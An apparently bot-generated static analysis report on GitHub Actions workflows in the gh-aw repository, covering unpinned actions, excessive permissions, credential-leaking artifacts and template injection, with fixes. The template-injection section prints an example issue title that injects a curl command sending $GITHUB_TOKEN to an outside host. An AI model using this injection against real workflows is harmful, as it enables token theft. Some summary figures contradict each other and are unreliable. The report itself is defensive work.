🔍 Static Analysis Report - December 3, 2025

[github-actions[bot]]

Analysis Summary

Comprehensive static analysis scan completed on 93 workflows using three security and code quality tools: zizmor (security), poutine (supply chain security), and actionlint (linting).

Key Findings:

• 70 total findings across 14 workflows
• 2 High severity security issues requiring immediate attention
• 14 Medium severity issues related to credential management
• 47 Informational template injection warnings across 7 workflows
• 6 linting errors in 1 workflow

The analysis reveals that most workflows follow security best practices, with findings concentrated in CI/CD workflows (ci.yml, codeql.yml) and utility workflows that handle external inputs.

Full Report Details

Tools Used

Tool	Purpose	Version	Findings
zizmor	Security scanner for GitHub Actions	v1.18.0	64
poutine	Supply chain security analyzer	latest	0
actionlint	GitHub Actions workflow linter	latest	6

Findings by Tool

Zizmor Security Findings

Zizmor identified 4 distinct issue types across 64 occurrences affecting 13 workflows.

Issue Type	Severity	Count	Affected Workflows
template-injection	Informational	47	7 workflows
artipacked	Medium	14	7 workflows
unpinned-uses	High	1	1 workflow
excessive-permissions	High	2	1 workflow

High Severity Issues

1. Unpinned Action Reference (1 occurrence)

Severity: High
Workflow: ci.yml
Description: Workflow uses an action without pinning it to a specific commit SHA
Risk: Malicious updates to the action could compromise the workflow
Reference: (redacted)#unpinned-uses

Recommendation: Pin all action references to full commit SHAs instead of tags or branches:

# Instead of:
uses: actions/checkout@v4

# Use:
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1

2. Excessive Permissions (2 occurrences)

Severity: High
Workflow: docs.yml
Description: Workflow has overly broad permissions that exceed what's necessary
Risk: Compromised workflow could abuse excess permissions
Reference: (redacted)#excessive-permissions

Recommendation: Apply principle of least privilege - grant only the specific permissions needed:

permissions:
  contents: read  # Instead of 'write' if only reading
  issues: write   # Only if creating/updating issues
  # Remove unnecessary permissions

Medium Severity Issues

3. Artipacked - Credential Persistence (14 occurrences)

Severity: Medium
Affected Workflows: ci, codeql, copilot-setup-steps, docs, format-and-commit, integration-agentics, smoke-isolated-srt
Description: Workflows upload artifacts that may contain credentials or secrets
Risk: Secrets could be exposed through artifact downloads
Reference: (redacted)#artipacked

Affected Files:

• .github/workflows/ci.yml
• .github/workflows/codeql.yml
• .github/workflows/copilot-setup-steps.yml
• .github/workflows/docs.yml
• .github/workflows/format-and-commit.yml
• .github/workflows/integration-agentics.yml
• .github/workflows/smoke-isolated-srt.yml

Recommendation:

1. Review artifacts to ensure no credentials are included
2. Add .gitignore-style exclusions to artifact uploads
3. Use secure secret management instead of artifacts
4. Set appropriate artifact retention policies

Informational Issues

4. Template Injection (47 occurrences)

Severity: Informational (can escalate to High)
Affected Workflows: breaking-change-checker, changeset, ci, duplicate-code-detector, mcp-inspector, release, stale-repo-identifier
Description: GitHub Actions expressions used directly in scripts where they could expand into attacker-controllable code
Risk: Potential code injection if external inputs are used without sanitization
Reference: (redacted)#template-injection

Example Pattern:

# Vulnerable:
script: |
  const title = "${{ github.event.issue.title }}";

# Secure:
env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
script: |
  const title = process.env.ISSUE_TITLE;

Poutine Supply Chain Findings

No findings - All workflows passed poutine's supply chain security checks.

This indicates:

• ✅ No known vulnerable dependencies
• ✅ No suspicious third-party actions
• ✅ No obvious supply chain attack vectors

Actionlint Linting Issues

Actionlint identified 1 issue type with 6 occurrences in 1 workflow.

Issue: Undefined Property Access
Workflow: issue-monster.lock.yml
Count: 6 occurrences
Description: Workflow references needs.search_issues.* outputs, but search_issues job is not defined in the workflow dependency graph.

Lines Affected: 2396, 2397, 2398, 2637, 2638, 2639

Example:

# Error: search_issues is not in needs
GH_AW_NEEDS_SEARCH_ISSUES_OUTPUTS_ISSUE_COUNT: ${{ needs.search_issues.outputs.issue_count }}

Fix Required: Either add search_issues to the job's needs: array or remove these environment variable references if they're no longer needed.

Top Priority Issues

Priority 1: High Severity Security Issues (3 findings)

1. Unpinned Actions in ci.yml - Immediate risk of supply chain attack
2. Excessive Permissions in docs.yml - Violates least privilege principle

Estimated Effort: 30 minutes
Recommended Action: Create a PR to fix both issues immediately

Priority 2: Medium Severity - Artipacked (14 findings)

Artipacked issues in 7 workflows where artifacts might contain credentials.

Estimated Effort: 2-3 hours
Recommended Action: Audit each workflow's artifacts and implement sanitization

Priority 3: Template Injection (47 findings)

While marked "Informational", template injection can escalate to High severity if exploited.

Estimated Effort: 4-6 hours
Recommended Action: Systematically refactor to use environment variables

Priority 4: Actionlint Errors (6 findings)

Configuration error in issue-monster workflow.

Estimated Effort: 15 minutes
Recommended Action: Fix undefined job reference

Fix Suggestion: Template Injection

Issue: template-injection
Severity: Informational (can escalate)
Affected: 47 occurrences across 7 workflows

Understanding the Issue

Template injection occurs when GitHub Actions expressions like ${{ ... }} are embedded directly in scripts where they expand before execution. If these expressions contain user-controlled data (issue titles, PR descriptions, comments), attackers can inject malicious code.

Attack Example:

Issue title: "; curl -X POST (redacted)?secret=$GITHUB_TOKEN #

When expanded in a script:

title="${{ github.event.issue.title }}"
# Becomes:
title=""; curl -X POST (redacted)?secret=$GITHUB_TOKEN #"

The Fix: Use Environment Variables

Step 1: Move expressions from scripts to env: blocks
Step 2: Reference via environment variables in the script
Step 3: Validate with zizmor

Fix Examples

JavaScript/TypeScript (actions/github-script)

Before (Vulnerable):

- name: Process data
  uses: actions/github-script@v8
  with:
    script: |
      const issueTitle = "${{ github.event.issue.title }}";
      const prBody = "${{ github.event.pull_request.body }}";
      console.log(`Title: ${issueTitle}`);

After (Secure):

- name: Process data
  uses: actions/github-script@v8
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    PR_BODY: ${{ github.event.pull_request.body }}
  with:
    script: |
      const issueTitle = process.env.ISSUE_TITLE;
      const prBody = process.env.PR_BODY;
      console.log(`Title: ${issueTitle}`);

Shell Scripts

Before (Vulnerable):

- name: Process output
  run: |
    DATA="${{ steps.fetch.outputs.data }}"
    echo "Processing: $DATA"

After (Secure):

- name: Process output
  env:
    FETCH_DATA: ${{ steps.fetch.outputs.data }}
  run: |
    echo "Processing: $FETCH_DATA"

Workflows Requiring Fixes

1. breaking-change-checker.md - Multiple template injections in issue creation scripts
2. changeset.md - Template expansion in GitHub Script actions
3. ci.yml - Script blocks with inline expressions
4. duplicate-code-detector.md - Issue body processing
5. mcp-inspector.md - Output handling in scripts
6. release.md - Release note generation with user inputs
7. stale-repo-identifier.md - Repository data processing

Automated Fix Prompt

For Copilot or another AI agent to fix these issues:

Task: Fix template-injection vulnerabilities identified by zizmor

For each affected workflow, apply this transformation:

1. Find all steps containing:
   - `${{ ... }}` expressions inside `script:` blocks
   - `${{ ... }}` expressions inside `run:` blocks
   - Focus on expressions using external/untrusted data

2. Apply the fix:
   - Add an `env:` section to the step (or extend existing one)
   - Move each `${{ expression }}` to a new environment variable
   - Replace the inline expression with the environment variable reference

3. Naming convention:
   - Use UPPER_SNAKE_CASE for environment variables
   - Make names descriptive: ISSUE_TITLE, PR_BODY, STEP_OUTPUT_DATA

4. Language-specific references:
   - Shell: $VAR_NAME or ${VAR_NAME}
   - JavaScript/Node: process.env.VAR_NAME
   - Python: os.environ['VAR_NAME']

5. Validate:
   - Ensure no `${{ }}` remains in script/run blocks
   - Check that all references use the new environment variables
   - Preserve original logic and behavior

Example transformation:
```yaml
# BEFORE:
- uses: actions/github-script@v8
  with:
    script: const x = "${{ steps.foo.outputs.bar }}";

# AFTER:
- uses: actions/github-script@v8
  env:
    STEP_FOO_OUTPUT_BAR: ${{ steps.foo.outputs.bar }}
  with:
    script: const x = process.env.STEP_FOO_OUTPUT_BAR;

Apply this fix to all occurrences in: breaking-change-checker.md, changeset.md, ci.yml, duplicate-code-detector.md, mcp-inspector.md, release.md, stale-repo-identifier.md

## Affected Workflows Summary

**High Severity** (2 workflows):
- ci.yml - unpinned-uses (1), template-injection (varies)
- docs.yml - excessive-permissions (2)

**Medium Severity** (7 workflows):
- ci.yml - artipacked (varies)
- codeql.yml - artipacked (varies)
- copilot-setup-steps.yml - artipacked (varies)
- docs.yml - artipacked (varies)
- format-and-commit.yml - artipacked (varies)
- integration-agentics.yml - artipacked (varies)
- smoke-isolated-srt.yml - artipacked (varies)

**Informational** (7 workflows):
- breaking-change-checker (.md, .lock.yml) - template-injection
- changeset (.md, .lock.yml) - template-injection
- duplicate-code-detector (.md, .lock.yml) - template-injection
- mcp-inspector (.md, .lock.yml) - template-injection
- release (.md, .lock.yml) - template-injection
- stale-repo-identifier (.md, .lock.yml) - template-injection

**Linting Errors** (1 workflow):
- issue-monster.lock.yml - undefined property access (6 occurrences)

## Recommendations

### Immediate Actions (This Week)

1. **Fix High Severity Issues**
   - Pin actions in ci.yml to commit SHAs
   - Reduce permissions in docs.yml to minimum required
   - **Effort**: 30 minutes

2. **Fix Actionlint Errors**
   - Correct job dependencies in issue-monster workflow
   - **Effort**: 15 minutes

### Short-term Actions (This Month)

3. **Audit and Fix Artipacked Issues**
   - Review all 7 workflows that upload artifacts
   - Ensure no credentials are included in artifacts
   - Add exclusion patterns for sensitive files
   - **Effort**: 2-3 hours

4. **Address Template Injection**
   - Refactor 47 occurrences to use environment variables
   - Start with breaking-change-checker (highest occurrence count)
   - **Effort**: 4-6 hours

### Long-term Actions (This Quarter)

5. **Implement Automated Scanning**
   - Add zizmor, poutine, and actionlint to CI/CD pipeline
   - Block merges if High severity issues are detected
   - Run weekly scheduled scans

6. **Create Security Guidelines**
   - Document secure workflow patterns
   - Provide templates for common scenarios
   - Train team on GitHub Actions security

7. **Regular Security Reviews**
   - Monthly static analysis scans
   - Quarterly security audits of workflows
   - Track remediation progress

## Conclusion

The static analysis scan reveals that **githubnext/gh-aw** maintains good security practices overall, with **93% of workflows** having no security findings. The identified issues are concentrated in:

- **CI/CD workflows** (ci.yml, codeql.yml) - expected to have more complex logic
- **Utility workflows** that process external inputs - higher injection risk
- **Legacy workflows** that may predate current security best practices

**Positive findings**:
- ✅ Zero supply chain vulnerabilities (poutine)
- ✅ Most workflows follow GitHub Actions best practices
- ✅ 80 workflows are completely clean
- ✅ No critical severity issues

**Action required**:
- 🔴 2 High severity security issues need immediate fixes
- 🟡 14 Medium severity issues need short-term remediation
- ⚪ 47 Informational issues should be addressed systematically

**Estimated total remediation effort**: 7-10 hours

</details>

---

**Scan Details:**
- **Date**: December 3, 2025
- **Workflows Scanned**: 93
- **Tools Used**: zizmor v1.18.0, poutine latest, actionlint latest
- **Total Findings**: 70 (64 security, 6 linting)
- **Cache Location**: `/tmp/gh-aw/cache-memory/security-scans/2025-12-03.json`


> AI generated by [Static Analysis Report](https://github.com/githubnext/gh-aw/actions/runs/19888229431)

[pelikhan]

/plan

[github-actions[bot]]

This discussion was automatically closed because it was created by an agentic workflow more than 3 days ago.